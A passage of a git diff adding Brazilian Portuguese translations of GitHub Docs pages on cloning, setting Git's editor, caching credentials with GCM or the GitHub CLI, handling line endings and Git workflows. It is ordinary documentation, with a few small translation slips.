-**Tip**: You can use an SSH URL to clone a repository to your computer, or as a secure way of deploying your code to production servers. You can also use SSH agent forwarding with your deploy script to avoid managing keys on the server. For more information, see "[Using SSH Agent Forwarding](/developers/overview/using-ssh-agent-forwarding)."
+**Dica**: Você pode usar uma URL com SSH para clonar um repositório para o seu computador ou como uma forma segura de implantar seu código nos servidores de produção. Você também pode usar o encaminhamento de agente SSH com o seu script de implantação para evitar o gerenciamento de chaves no servidor. Para obter mais informações, consulte "[Usar o encaminhamento do agente SSH](/developers/overview/using-ssh-agent-forwarding)."
 
 {% endtip %}
 
 {% ifversion fpt or ghes or ghae or ghec %}
 
-## Cloning with {% data variables.product.prodname_cli %}
+## Clonar com {% data variables.product.prodname_cli %}
 
-You can also install {% data variables.product.prodname_cli %} to use {% data variables.product.product_name %} workflows in your terminal. For more information, see "[About {% data variables.product.prodname_cli %}](/github-cli/github-cli/about-github-cli)."
+Você também pode instalar o {% data variables.product.prodname_cli %} para usar os fluxos de trabalho do {% data variables.product.product_name %} no seu terminal. Para obter mais informações, consulte "[Sobre {% data variables.product.prodname_cli %}](/github-cli/github-cli/about-github-cli)".
 
 {% endif %}
 
 {% ifversion not ghae %}
-## Cloning with Subversion
+## Clonar com o Subversion
 
-You can also use a [Subversion](https://subversion.apache.org/) client to access any repository on {% data variables.product.prodname_dotcom %}. Subversion offers a different feature set than Git. For more information, see "[What are the differences between Subversion and Git?](/github/importing-your-projects-to-github/what-are-the-differences-between-subversion-and-git)"
+Você também pode usar um cliente de [Subversion](https://subversion.apache.org/) para acessar qualquer repositório no {% data variables.product.prodname_dotcom %}. O Subversion oferece um conjunto de recursos diferente do Git. Para obter mais informações, consulte "[Quais são as diferenças entre Subversion e Git?](/github/importing-your-projects-to-github/what-are-the-differences-between-subversion-and-git)"
 
-You can also access repositories on {% data variables.product.prodname_dotcom %} from Subversion clients. For more information, see "[Support for Subversion clients](/github/importing-your-projects-to-github/support-for-subversion-clients)."
+Você também pode acessar repositórios no {% data variables.product.prodname_dotcom %} a partir de clientes do Subversion. Para obter mais informações, consulte "[Suporte para clientes do Subversion](/github/importing-your-projects-to-github/support-for-subversion-clients)".
 {% endif %}
diff --git a/translations/pt-BR/content/get-started/getting-started-with-git/associating-text-editors-with-git.md b/translations/pt-BR/content/get-started/getting-started-with-git/associating-text-editors-with-git.md
index 8abbe4ef24..5b39e3ab16 100644
--- a/translations/pt-BR/content/get-started/getting-started-with-git/associating-text-editors-with-git.md
+++ b/translations/pt-BR/content/get-started/getting-started-with-git/associating-text-editors-with-git.md
@@ -1,6 +1,6 @@
 ---
-title: Associating text editors with Git
-intro: Use a text editor to open and edit your files with Git.
+title: Associar editores de texto ao Git
+intro: Use um editor de texto para abrir e editar seus arquivos com o Git.
 redirect_from:
   - /textmate
   - /articles/using-textmate-as-your-default-editor
@@ -14,43 +14,44 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Associate text editors
+shortTitle: Editores de texto associados
 ---
+
 {% mac %}
 
-## Using Atom as your editor
+## Usar o Atom como seu editor
 
-1. Install [Atom](https://atom.io/). For more information, see "[Installing Atom](https://flight-manual.atom.io/getting-started/sections/installing-atom/)" in the Atom documentation.
+1. Instale o [Atom](https://atom.io/). Para obter mais informações, consulte "[Instalar o Atom](https://flight-manual.atom.io/getting-started/sections/installing-atom/)" na documentação do Atom.
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Type this command:
+3. Digite este comando:
   ```shell
   $ git config --global core.editor "atom --wait"
   ```
 
-## Using Visual Studio Code as your editor
+## Usando o Visual Studio Code como seu editor
 
-1. Install [Visual Studio Code](https://code.visualstudio.com/) (VS Code). For more information, see "[Setting up Visual Studio Code](https://code.visualstudio.com/Docs/setup/setup-overview)" in the VS Code documentation.
+1. Instale o [Visual Studio Code](https://code.visualstudio.com/) (VS Code). Para obter mais informações, consulte "[Configurar o Visual Studio Code](https://code.visualstudio.com/Docs/setup/setup-overview)" na documentação do VS Code.
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Type this command:
+3. Digite este comando:
   ```shell
   $ git config --global core.editor "code --wait"
  ```
 
-## Using Sublime Text as your editor
+## Usar o Sublime Text como seu editor
 
-1. Install [Sublime Text](https://www.sublimetext.com/). For more information, see "[Installation](https://docs.sublimetext.io/guide/getting-started/installation.html)" in the Sublime Text documentation.
+1. Instale o [Sublime Text](https://www.sublimetext.com/). Para obter mais informações, consulte "[Instalação](https://docs.sublimetext.io/guide/getting-started/installation.html)" na documentação do Sublime Text.
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Type this command:
+3. Digite este comando:
   ```shell
   $ git config --global core.editor "subl -n -w"
   ```
 
-## Using TextMate as your editor
+## Usar o TextMate como seu editor
 
-1. Install [TextMate](https://macromates.com/).
-2. Install TextMate's `mate` shell utility. For more information, see "[mate and rmate](https://macromates.com/blog/2011/mate-and-rmate/)" in the TextMate documentation.
+1. Instale o [TextMate](https://macromates.com/).
+2. Instale o utilitário do shell `mate`. Para obter mais informações, consulte "[mate e rmate](https://macromates.com/blog/2011/mate-and-rmate/)" na documentação do TextMate.
 {% data reusables.command_line.open_the_multi_os_terminal %}
-4. Type this command:
+4. Digite este comando:
   ```shell
   $ git config --global core.editor "mate -w"
   ```
@@ -58,38 +59,38 @@ shortTitle: Associate text editors
 
 {% windows %}
 
-## Using Atom as your editor
+## Usar o Atom como seu editor
 
-1. Install [Atom](https://atom.io/). For more information, see "[Installing Atom](https://flight-manual.atom.io/getting-started/sections/installing-atom/)" in the Atom documentation.
+1. Instale o [Atom](https://atom.io/). Para obter mais informações, consulte "[Instalar o Atom](https://flight-manual.atom.io/getting-started/sections/installing-atom/)" na documentação do Atom.
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Type this command:
+3. Digite este comando:
   ```shell
   $ git config --global core.editor "atom --wait"
   ```
 
-## Using Visual Studio Code as your editor
+## Usando o Visual Studio Code como seu editor
 
-1. Install [Visual Studio Code](https://code.visualstudio.com/) (VS Code). For more information, see "[Setting up Visual Studio Code](https://code.visualstudio.com/Docs/setup/setup-overview)" in the VS Code documentation.
+1. Instale o [Visual Studio Code](https://code.visualstudio.com/) (VS Code). Para obter mais informações, consulte "[Configurar o Visual Studio Code](https://code.visualstudio.com/Docs/setup/setup-overview)" na documentação do VS Code.
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Type this command:
+3. Digite este comando:
   ```shell
   $ git config --global core.editor "code --wait"
  ```
 
-## Using Sublime Text as your editor
+## Usar o Sublime Text como seu editor
 
-1. Install [Sublime Text](https://www.sublimetext.com/). For more information, see "[Installation](https://docs.sublimetext.io/guide/getting-started/installation.html)" in the Sublime Text documentation.
+1. Instale o [Sublime Text](https://www.sublimetext.com/). Para obter mais informações, consulte "[Instalação](https://docs.sublimetext.io/guide/getting-started/installation.html)" na documentação do Sublime Text.
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Type this command:
+3. Digite este comando:
   ```shell
   $ git config --global core.editor "'C:/Program Files (x86)/sublime text 3/subl.exe' -w"
   ```
 
-## Using Notepad++ as your editor
+## Usar o Notepad++ como seu editor
 
-1. Install Notepad++ from https://notepad-plus-plus.org/. For more information, see "[Getting started](https://npp-user-manual.org/docs/getting-started/)" in the Notepad++ documentation.
+1. Instale o Notepad++ em https://notepad-plus-plus.org/. Para obter mais informações, consulte "[Primeiros passos](https://npp-user-manual.org/docs/getting-started/)" na documentação do Notepad++.
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Type this command:
+3. Digite este comando:
   ```shell
   $ git config --global core.editor "'C:/Program Files (x86)/Notepad++/notepad++.exe' -multiInst -notabbar -nosession -noPlugin"
   ```
@@ -97,29 +98,29 @@ shortTitle: Associate text editors
 
 {% linux %}
 
-## Using Atom as your editor
+## Usar o Atom como seu editor
 
-1. Install [Atom](https://atom.io/). For more information, see "[Installing Atom](https://flight-manual.atom.io/getting-started/sections/installing-atom/)" in the Atom documentation.
+1. Instale o [Atom](https://atom.io/). Para obter mais informações, consulte "[Instalar o Atom](https://flight-manual.atom.io/getting-started/sections/installing-atom/)" na documentação do Atom.
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Type this command:
+3. Digite este comando:
   ```shell
   $ git config --global core.editor "atom --wait"
   ```
 
-## Using Visual Studio Code as your editor
+## Usando o Visual Studio Code como seu editor
 
-1. Install [Visual Studio Code](https://code.visualstudio.com/) (VS Code). For more information, see "[Setting up Visual Studio Code](https://code.visualstudio.com/Docs/setup/setup-overview)" in the VS Code documentation.
+1. Instale o [Visual Studio Code](https://code.visualstudio.com/) (VS Code). Para obter mais informações, consulte "[Configurar o Visual Studio Code](https://code.visualstudio.com/Docs/setup/setup-overview)" na documentação do VS Code.
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Type this command:
+3. Digite este comando:
   ```shell
   $ git config --global core.editor "code --wait"
  ```
 
-## Using Sublime Text as your editor
+## Usar o Sublime Text como seu editor
 
-1. Install [Sublime Text](https://www.sublimetext.com/). For more information, see "[Installation](https://docs.sublimetext.io/guide/getting-started/installation.html)" in the Sublime Text documentation.
+1. Instale o [Sublime Text](https://www.sublimetext.com/). Para obter mais informações, consulte "[Instalação](https://docs.sublimetext.io/guide/getting-started/installation.html)" na documentação do Sublime Text.
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Type this command:
+3. Digite este comando:
   ```shell
   $ git config --global core.editor "subl -n -w"
   ```
diff --git a/translations/pt-BR/content/get-started/getting-started-with-git/caching-your-github-credentials-in-git.md b/translations/pt-BR/content/get-started/getting-started-with-git/caching-your-github-credentials-in-git.md
index 5c74e8cf31..7075c9254b 100644
--- a/translations/pt-BR/content/get-started/getting-started-with-git/caching-your-github-credentials-in-git.md
+++ b/translations/pt-BR/content/get-started/getting-started-with-git/caching-your-github-credentials-in-git.md
@@ -1,5 +1,5 @@
 ---
-title: Caching your GitHub credentials in Git
+title: Armazenar suas credenciais do GitHub no Git
 redirect_from:
   - /firewalls-and-proxies
   - /articles/caching-your-github-password-in-git
@@ -7,77 +7,77 @@ redirect_from:
   - /github/using-git/caching-your-github-credentials-in-git
   - /github/getting-started-with-github/caching-your-github-credentials-in-git
   - /github/getting-started-with-github/getting-started-with-git/caching-your-github-credentials-in-git
-intro: 'If you''re [cloning {% data variables.product.product_name %} repositories using HTTPS](/github/getting-started-with-github/about-remote-repositories), we recommend you use {% data variables.product.prodname_cli %} or Git Credential Manager (GCM) to remember your credentials.'
+intro: 'Se você estiver [clonando repositórios de {% data variables.product.product_name %} que usam HTTPS](/github/getting-started-with-github/about-remote-repositories), recomendamos que você use {% data variables.product.prodname_cli %} ou Git Credential Manager (GCM) para lembrar suas credenciais.'
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Caching credentials
+shortTitle: Armazenando credenciais
 ---
 
 {% tip %}
 
-**Tip:** If you clone {% data variables.product.product_name %} repositories using SSH, then you  can authenticate using an SSH key instead of using other credentials. For information about setting up an SSH connection, see "[Generating an SSH Key](/articles/generating-an-ssh-key)."
+Dica de **:** Se você clonar {% data variables.product.product_name %} repositórios usando SSH, você pode efetuar a autenticação usando uma chave SSH em vez de usar outras credenciais. Para obter informações sobre como configurar uma conexão SSH, consulte "[Gerar uma chave SSH](/articles/generating-an-ssh-key)".
 
 {% endtip %}
 
 ## {% data variables.product.prodname_cli %}
 
-{% data variables.product.prodname_cli %} will automatically store your Git credentials for you when you choose `HTTPS` as your preferred protocol for Git operations and answer "yes" to the prompt asking if you would like to authenticate to Git with your {% data variables.product.product_name %} credentials.
+{% data variables.product.prodname_cli %} armazenará automaticamente suas credenciais do Git para você escolher `HTTPS` como protocolo preferido para operações do Git e responder "sim" à instrução que pergunta se você gostaria de efetuar a autenticação no Git com a suas credenciais de {% data variables.product.product_name %}.
 
-1. [Install](https://github.com/cli/cli#installation) {% data variables.product.prodname_cli %} on macOS, Windows, or Linux.
-2. In the command line, enter `gh auth login`, then follow the prompts.
-   - When prompted for your preferred protocol for Git operations, select `HTTPS`.
-   - When asked if you would like to authenticate to Git with your {% data variables.product.product_name %} credentials, enter `Y`.
+1. [Instale](https://github.com/cli/cli#installation) {% data variables.product.prodname_cli %} no macOS, Windows ou Linux.
+2. Na linha de comando, digite `gh auth login` e, em seguida, siga as instruções.
+   - Quando for solicitado o protocolo preferido para operações do Git, selecione `HTTPS`.
+   - Quando for perguntado se você gostaria de efetuar a autenticação no Git com as suas credenciais de {% data variables.product.product_name %}, insira `Y`.
 
-For more information about authenticating with {% data variables.product.prodname_cli %}, see [`gh auth login`](https://cli.github.com/manual/gh_auth_login).
+Para mais informações sobre a autenticação com {% data variables.product.prodname_cli %}, consulte [`login gh`](https://cli.github.com/manual/gh_auth_login).
 
-## Git Credential Manager
+## Gerenciador de credenciais do Git
 
-[Git Credential Manager](https://github.com/GitCredentialManager/git-credential-manager) (GCM) is another way to store your credentials securely and connect to GitHub over HTTPS. With GCM, you don't have to manually [create and store a PAT](/github/authenticating-to-github/creating-a-personal-access-token), as GCM manages authentication on your behalf, including 2FA (two-factor authentication).
+[O Gerenciador de Credencial do Git](https://github.com/GitCredentialManager/git-credential-manager) (GCM) é outra maneira de armazenar suas credenciais de forma segura e conectar-se ao GitHub por HTTPS. Com o GCM, você não precisa manualmente [criar e armazenar um PAT](/github/authenticating-to-github/creating-a-personal-access-token), como o GCM gerencia a autenticação no seu nome, incluindo a 2FA (autenticação de dois fatores).
 
 {% mac %}
 
-1. Install Git using [Homebrew](https://brew.sh/):
+1. Instale o Git usando [Homebrew](https://brew.sh/):
   ```shell
   $ brew install git
   ```
 
-2. Install GCM using Homebrew:
+2. Instale GCM usando o Homebrew:
   ```shell
   $ brew tap microsoft/git
   $ brew install --cask git-credential-manager-core
   ```
-  For MacOS, you don't need to run `git config` because GCM automatically configures Git for you.
+  Para MacOS, você não precisa executar a `git config` porque o GCM automaticamente configura o Git para você.
 
 {% data reusables.gcm-core.next-time-you-clone %}
 
-Once you've authenticated successfully, your credentials are stored in the macOS keychain and will be used every time you clone an HTTPS URL. Git will not require you to type your credentials in the command line again unless you change your credentials.
+Após a autenticação ser concluída com sucesso, suas credenciais serão armazenadas no keychain do macOS e serão usadas toda vez que você clonar uma URL de HTTPS. O Git não exigirá que você digite suas credenciais na linha de comando novamente, a menos que você altere suas credenciais.
 
 {% endmac %}
 
 {% windows %}
 
-1. Install Git for Windows, which includes GCM. For more information, see "[Git for Windows releases](https://github.com/git-for-windows/git/releases/latest)" from its [releases page](https://github.com/git-for-windows/git/releases/latest).
+1. Instale o Git para o Windows, que inclui GCM. Para obter mais informações, consulte "[Git para versões do Windows](https://github.com/git-for-windows/git/releases/latest)" a partir da sua [página de versões](https://github.com/git-for-windows/git/releases/latest).
 
-We recommend always installing the latest version. At a minimum, install version 2.29 or higher, which is the first version offering OAuth support for GitHub.
+Recomenda-se instalar sempre a versão mais recente. No mínimo, instale a versão 2.29 ou superior, que é a primeira versão que oferece suporte do OAuth para o GitHub.
 
 {% data reusables.gcm-core.next-time-you-clone %}
 
-Once you've authenticated successfully, your credentials are stored in the Windows credential manager and will be used every time you clone an HTTPS URL. Git will not require you to type your credentials in the command line again unless you change your credentials.
+Depois de efetuar a autenticação com sucesso, as suas credenciais serão armazenadas no gerenciador de credenciais do Windows e serão usadas toda vez que você clonar uma URL de HTTPS. O Git não exigirá que você digite suas credenciais na linha de comando novamente, a menos que você altere suas credenciais.
 
 <br>
 
 {% warning %}
 
-**Warning:** Older versions of Git for Windows came with Git Credential Manager for Windows. This older product is no longer supported and cannot connect to GitHub via OAuth. We recommend you upgrade to [the latest version of Git for Windows](https://github.com/git-for-windows/git/releases/latest).
+**Aviso:** As versões mais antigas do Git para Windows vieram com o Administrador de Credenciais do Git para Windows. Este produto antigo não é mais compatível e não pode se conectar ao GitHub via OAuth. Recomendamos que você faça atualização para [a versão mais recente do Git para Windows](https://github.com/git-for-windows/git/releases/latest).
 
 {% endwarning %}
 
 {% warning %}
 
-**Warning:** If you cached incorrect or outdated credentials in Credential Manager for Windows, Git will fail to access {% data variables.product.product_name %}. To reset your cached credentials so that Git prompts you to enter your credentials, access the Credential Manager in the Windows Control Panel under User Accounts > Credential Manager. Look for the {% data variables.product.product_name %} entry and delete it. 
+**Aviso:** Se você fez cache de credenciais incorretas ou desatualizadas no Gerenciador de Credencial para Windows, o Git não terá acesso a {% data variables.product.product_name %}. Para redefinir as suas credenciais de cache para que o Git peça para inserir suas credenciais, acesse o Gerenciador de credenciais no Painel de Controle do Windows em Contas de Usuário > Gerenciador de Credenciais. Procure a entrada de {% data variables.product.product_name %} e exclua-a.
 
 {% endwarning %}
 
@@ -85,22 +85,22 @@ Once you've authenticated successfully, your credentials are stored in the Windo
 
 {% linux %}
 
-For Linux, install Git and GCM, then configure Git to use GCM.
+Para Linux, instale o Git e o GCM e, em seguida, configure o Git para usar o GCM.
 
-1. Install Git from your distro's packaging system. Instructions will vary depending on the flavor of Linux you run.
+1. Instale o Git a partir do sistema de pacotes da sua distribuição. As instruções vão variar dependendo da versão do Linux que você executar.
 
-2. Install GCM. See the [instructions in the GCM repo](https://github.com/GitCredentialManager/git-credential-manager#linux-install-instructions), as they'll vary depending on the flavor of Linux you run.
+2. Install o GCM. Consulte as [instruções no repositório do GCM ](https://github.com/GitCredentialManager/git-credential-manager#linux-install-instructions), já que elas variarão dependendo da versão do Linux que você executar.
 
-3. Configure Git to use GCM. There are several backing stores that you may choose from, so see the GCM docs to complete your setup. For more information, see "[GCM Linux](https://aka.ms/gcmcore-linuxcredstores)."
+3. Configurar o Git para usar o GCM. Há várias lojas de apoio que você pode escolher. Portanto, consulte a documentação de do GCM para concluir a sua configuração. Para obter mais informações, consulte "[GCM Linux](https://aka.ms/gcmcore-linuxcredstores)".
 
 {% data reusables.gcm-core.next-time-you-clone %}
 
-Once you've authenticated successfully, your credentials are stored on your system and will be used every time you clone an HTTPS URL. Git will not require you to type your credentials in the command line again unless you change your credentials.
+Depois de autenticado com sucesso, as suas credenciais serão armazenadas no seu sistema e serão usadas toda vez que você clonar uma URL de HTTPS. O Git não exigirá que você digite suas credenciais na linha de comando novamente, a menos que você altere suas credenciais.
 
-For more options for storing your credentials on Linux, see [Credential Storage](https://git-scm.com/book/en/v2/Git-Tools-Credential-Storage) in Pro Git.
+Para obter mais opções para armazenar suas credenciais no Linux, consulte [Armazenamento de Credencial](https://git-scm.com/book/en/v2/Git-Tools-Credential-Storage) no Pro Git.
 
 {% endlinux %}
 
 <br>
 
-For more information or to report issues with GCM, see the official GCM docs at "[Git Credential Manager](https://github.com/GitCredentialManager/git-credential-manager)."
+Para obter mais informações ou relatar problemas com o GCM, consulte a documentação oficial do GCM no "[Gerenciado de Credenciais do Git](https://github.com/GitCredentialManager/git-credential-manager)
diff --git a/translations/pt-BR/content/get-started/getting-started-with-git/configuring-git-to-handle-line-endings.md b/translations/pt-BR/content/get-started/getting-started-with-git/configuring-git-to-handle-line-endings.md
index 676651b64c..3ef3de41ad 100644
--- a/translations/pt-BR/content/get-started/getting-started-with-git/configuring-git-to-handle-line-endings.md
+++ b/translations/pt-BR/content/get-started/getting-started-with-git/configuring-git-to-handle-line-endings.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring Git to handle line endings
-intro: 'To avoid problems in your diffs, you can configure Git to properly handle line endings.'
+title: Configurar o Git para uso com delimitadores de linha
+intro: 'Para evitar problemas com diffs, é possível configurar o Git para operar adequadamente com delimitadores de linhas.'
 redirect_from:
   - /dealing-with-lineendings
   - /line-endings
@@ -14,22 +14,23 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Handle line endings
+shortTitle: Manusear delimitadores
 ---
-## About line endings
-Every time you press <kbd>return</kbd> on your keyboard you insert an invisible character called a line ending. Different operating systems handle line endings differently.
 
-When you're collaborating on projects with Git and {% data variables.product.product_name %}, Git might produce unexpected results if, for example, you're working on a Windows machine, and your collaborator has made a change in macOS.
+## Sobre os delimitadores de linha
+Toda vez que você pressionar <kbd>retornar</kbd> no seu teclado, você insere um caractere invisível denominado delimitador. Os diferentes sistemas operacionais gerenciam os delimitadores de formas diferentes.
 
-You can configure Git to handle line endings automatically so you can collaborate effectively with people who use different operating systems.
+Ao colaborar em projetos com Git e {% data variables.product.product_name %}, o Git pode produzir resultados inesperados se, por exemplo, você estiver trabalhando em uma máquina que use o Windows e o seu colaborador dizer uma mudança no macOS.
 
-## Global settings for line endings
+Você pode configurar o Git para gerenciar os delimitadores automaticamente para que você possa colaborar efetivamente com pessoas que usam diferentes sistemas operacionais.
 
-The `git config core.autocrlf` command is used to change how Git handles line endings. It takes a single argument.
+## Configurações globais para delimitadores de linhas
+
+O comando `git config core.autocrlf` é utilizado para alterar a forma como o Git trabalha com delimitadores de linhas. É um argumento único.
 
 {% mac %}
 
-On macOS, you simply pass `input` to the configuration. For example:
+No macOS, você simplesmente introduz `entrada` na configuração. Por exemplo:
 
 ```shell
 $ git config --global core.autocrlf input
@@ -40,7 +41,7 @@ $ git config --global core.autocrlf input
 
 {% windows %}
 
-On Windows, you simply pass `true` to the configuration. For example:
+No Windows, você simplesmente introduz `true` na configuração. Por exemplo:
 
 ```shell
 $ git config --global core.autocrlf true
@@ -52,7 +53,7 @@ $ git config --global core.autocrlf true
 
 {% linux %}
 
-On Linux, you simply pass `input` to the configuration. For example:
+No Linux, você simplesmente introduz `input` (entrada) na configuração. Por exemplo:
 
 ```shell
 $ git config --global core.autocrlf input
@@ -61,75 +62,75 @@ $ git config --global core.autocrlf input
 
 {% endlinux %}
 
-## Per-repository settings
+## Configurações por repositórios
 
-Optionally, you can configure a *.gitattributes* file to manage how Git reads line endings in a specific repository. When you commit this file to a repository, it overrides the `core.autocrlf` setting for all repository contributors. This ensures consistent behavior for all users, regardless of their Git settings and environment.
+Opcionalmente, você pode configurar um arquivo de *.gitattributes* para gerenciar como Git lê os delimitadores em um repositório específico. Quando você fizer commit deste arquivo para um repositório, ele irá substituir a configuração `core.autocrlf` para todos os contribuidores de repositório. Isso garante um comportamento consistente para todos os usuários, independentemente das configurações e do ambiente Git.
 
-The *.gitattributes* file must be created in the root of the repository and committed like any other file.
+O arquivo *.gitattributes* deve ser criado na raiz do repositório e, como qualquer outro arquivo, com commit.
 
-A *.gitattributes* file looks like a table with two columns:
+Um arquivo *.gitattributes* se parece com uma tabela de duas colunas:
 
-* On the left is the file name for Git to match.
-* On the right is the line ending configuration that Git should use for those files.
+* À esquerda está o nome do arquivo para o Git fazer a correspondência.
+* À direita está a configuração do delimitador de linha que o Git deve usar para esses arquivos.
 
-### Example
+### Exemplo
 
-Here's an example *.gitattributes* file. You can use it as a template for your repositories:
+Segue aqui um exemplo de arquivo *.gitattributes*. Você pode usá-lo como um modelo para os seus repositórios:
 
 ```
-# Set the default behavior, in case people don't have core.autocrlf set.
+# Defina o comportamento padrão, caso as pessoas não tenham configurado o core.autocrlf.
 * text=auto
 
-# Explicitly declare text files you want to always be normalized and converted
-# to native line endings on checkout.
+# Declare explicitamente os arquivos de texto que você deseja que sempre sejam normalizados e convertidos 
+# em delimitadores de linha nativos ao fazer checkout.
 *.c text
 *.h text
 
-# Declare files that will always have CRLF line endings on checkout.
+# Declare os arquivos que sempre terão delimitadores de linha CRLF ao fazer checkout.
 *.sln text eol=crlf
 
-# Denote all files that are truly binary and should not be modified.
+# Indique todos os arquivos que são verdadeiramente binários e que não devem ser modificados.
 *.png binary
 *.jpg binary
 ```
 
-You'll notice that files are matched—`*.c`, `*.sln`, `*.png`—, separated by a space, then given a setting—`text`, `text eol=crlf`, `binary`. We'll go over some possible settings below.
+Você notará que arquivos são correspondentes,`*.c`, `*.sln`, `*.png`—, separados por um espaço uma determinada configuração —`text`, `text eol=crlf`, `binary`. Iremos analisar algumas possíveis configurações abaixo.
 
-- `text=auto` Git will handle the files in whatever way it thinks is best. This is a good default option.
+- `text=auto` o Git irá gerenciar os arquivos da maneira que considerar melhor. Essa é uma boa opção padrão.
 
-- `text eol=crlf` Git will always convert line endings to `CRLF` on checkout. You should use this for files that must keep `CRLF` endings, even on OSX or Linux.
+- `text eol=crlf` O Git sempre converterá delimitadores em `CRLF` no checkout. Você deve usar isso para arquivos que devem manter os delimitadores `CRLF`, até mesmo no OSX ou Linux.
 
-- `text eol=lf` Git will always convert line endings to `LF` on checkout. You should use this for files that must keep LF endings, even on Windows.
+- `text eol=lf` O Git sempre converterá os delimitadores em `LF` no checkout. Você deve usar isso para arquivos que devem manter os delimitadores LF, mesmo no Windows.
 
-- `binary` Git will understand that the files specified are not text, and it should not try to change them. The `binary` setting is also an alias for `-text -diff`.
+- `binary` o Git entenderá que os arquivos especificados não são texto e não deve tentar alterá-los. A configuração `binary` (binário) também é um pseudônimo para `-text -diff`.
 
-## Refreshing a repository after changing line endings
+## Atualizar um repositório após alterar delimitadores de linha
 
-When you set the `core.autocrlf` option or commit a *.gitattributes* file, you may find that Git reports changes to files that you have not modified. Git has changed line endings to match your new configuration.
+Ao definir a opção `core.autocrlf` ou fazer o commit de um arquivo do tipo*.gitattributes*, você pode descobrir que o Git relata alterações em arquivos que você não modificou. O Git mudou os delimitadores para corresponder à sua nova configuração.
 
-To ensure that all the line endings in your repository match your new configuration, backup your files with Git, delete all files in your repository (except the `.git` directory), then restore the files all at once.
+Para garantir que todos os delimitadores no repositório correspondam à sua nova configuração, faça backup de seus arquivos com o Git, exclua todos os arquivos no repositório (exceto os do diretório `.git`) e, em seguida, restaure os arquivos de uma só vez.
 
-1. Save your current files in Git, so that none of your work is lost.
+1. Salva seus arquivos atuais no Git, assim seu trabalho não será perdido.
   ```shell
   $ git add . -u
   $ git commit -m "Saving files before refreshing line endings"
   ```
-2. Add all your changed files back and normalize the line endings.
+2. Adiciona todos os seus arquivos alterados novamente e normaliza os delimitadores de linha.
   ```shell
   $ git add --renormalize .
   ```
-3. Show the rewritten, normalized files.
+3. Mostra os arquivos regravados e normalizados.
   ```shell
   $ git status
   ```
-4. Commit the changes to your repository.
+4. Faz commit das alterações em seu repositório.
   ```shell
   $ git commit -m "Normalize all the line endings"
   ```
 
-## Further reading
+## Leia mais
 
-- [Customizing Git - Git Attributes](https://git-scm.com/book/en/Customizing-Git-Git-Attributes) in the Pro Git book
-- [git-config](https://git-scm.com/docs/git-config) in the man pages for Git
-- [Getting Started - First-Time Git Setup](https://git-scm.com/book/en/Getting-Started-First-Time-Git-Setup) in the Pro Git book
-- [Mind the End of Your Line](http://adaptivepatchwork.com/2012/03/01/mind-the-end-of-your-line/) by [Tim Clem](https://github.com/tclem)
+- [Personalizar o Git - atributos do Git](https://git-scm.com/book/en/Customizing-Git-Git-Attributes) no livro Pro Git
+- [git-config](https://git-scm.com/docs/git-config) nas páginas do manual do Git
+- [Primeiros passos - Configuração inicial do Git](https://git-scm.com/book/en/Getting-Started-First-Time-Git-Setup) no livro Pro Git
+- [Atenção para o final da sua linha ](http://adaptivepatchwork.com/2012/03/01/mind-the-end-of-your-line/) de [Tim Clem](https://github.com/tclem)
diff --git a/translations/pt-BR/content/get-started/getting-started-with-git/git-workflows.md b/translations/pt-BR/content/get-started/getting-started-with-git/git-workflows.md
index 426fd8dbb8..4211c6a442 100644
--- a/translations/pt-BR/content/get-started/getting-started-with-git/git-workflows.md
+++ b/translations/pt-BR/content/get-started/getting-started-with-git/git-workflows.md
@@ -1,6 +1,6 @@
 ---
-title: Git workflows
-intro: '{% data variables.product.prodname_dotcom %} flow is a lightweight, branch-based workflow that supports teams and projects that deploy regularly.'
+title: Fluxos de trabalho do Git
+intro: 'O fluxo de fluxo de trabalho do {% data variables.product.prodname_dotcom %} é um fluxo de trabalho leve com base no branch que suporta equipes e projetos que fazem implantação regularmente.'
 redirect_from:
   - /articles/what-is-a-good-git-workflow
   - /articles/git-workflows
@@ -13,4 +13,5 @@ versions:
   ghae: '*'
   ghec: '*'
 ---
-You can adopt the {% data variables.product.prodname_dotcom %} flow method to standardize how your team functions and collaborates on {% data variables.product.prodname_dotcom %}. For more information, see "[{% data variables.product.prodname_dotcom %} flow](/github/getting-started-with-github/github-flow)."
+
+Você pode adotar o método de fluxo {% data variables.product.prodname_dotcom %} para padronizar o funcionamento e a colaboração da sua equipe no {% data variables.product.prodname_dotcom %}. Para obter mais informações, consulte "[fluxo de {% data variables.product.prodname_dotcom %} ](/github/getting-started-with-github/github-flow)".
diff --git a/translations/pt-BR/content/get-started/getting-started-with-git/ignoring-files.md b/translations/pt-BR/content/get-started/getting-started-with-git/ignoring-files.md
index 72d4b8d668..96f4fef15e 100644
--- a/translations/pt-BR/content/get-started/getting-started-with-git/ignoring-files.md
+++ b/translations/pt-BR/content/get-started/getting-started-with-git/ignoring-files.md
@@ -1,5 +1,5 @@
 ---
-title: Ignoring files
+title: Ignorar arquivos
 redirect_from:
   - /git-ignore
   - /ignore-files
@@ -7,60 +7,62 @@ redirect_from:
   - /github/using-git/ignoring-files
   - /github/getting-started-with-github/ignoring-files
   - /github/getting-started-with-github/getting-started-with-git/ignoring-files
-intro: 'You can configure Git to ignore files you don''t want to check in to {% data variables.product.product_name %}.'
+intro: 'Você pode configurar o Git para ignorar arquivos dos quais você não deseja fazer o check-in para {% data variables.product.product_name %}.'
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
 ---
-## Configuring ignored files for a single repository
 
-You can create a *.gitignore* file in your repository's root directory to tell Git which files and directories to ignore when you make a commit.
-To share the ignore rules with other users who clone the repository, commit the *.gitignore* file in to your repository.
+## Configurar arquivos ignorados para um único repositório
 
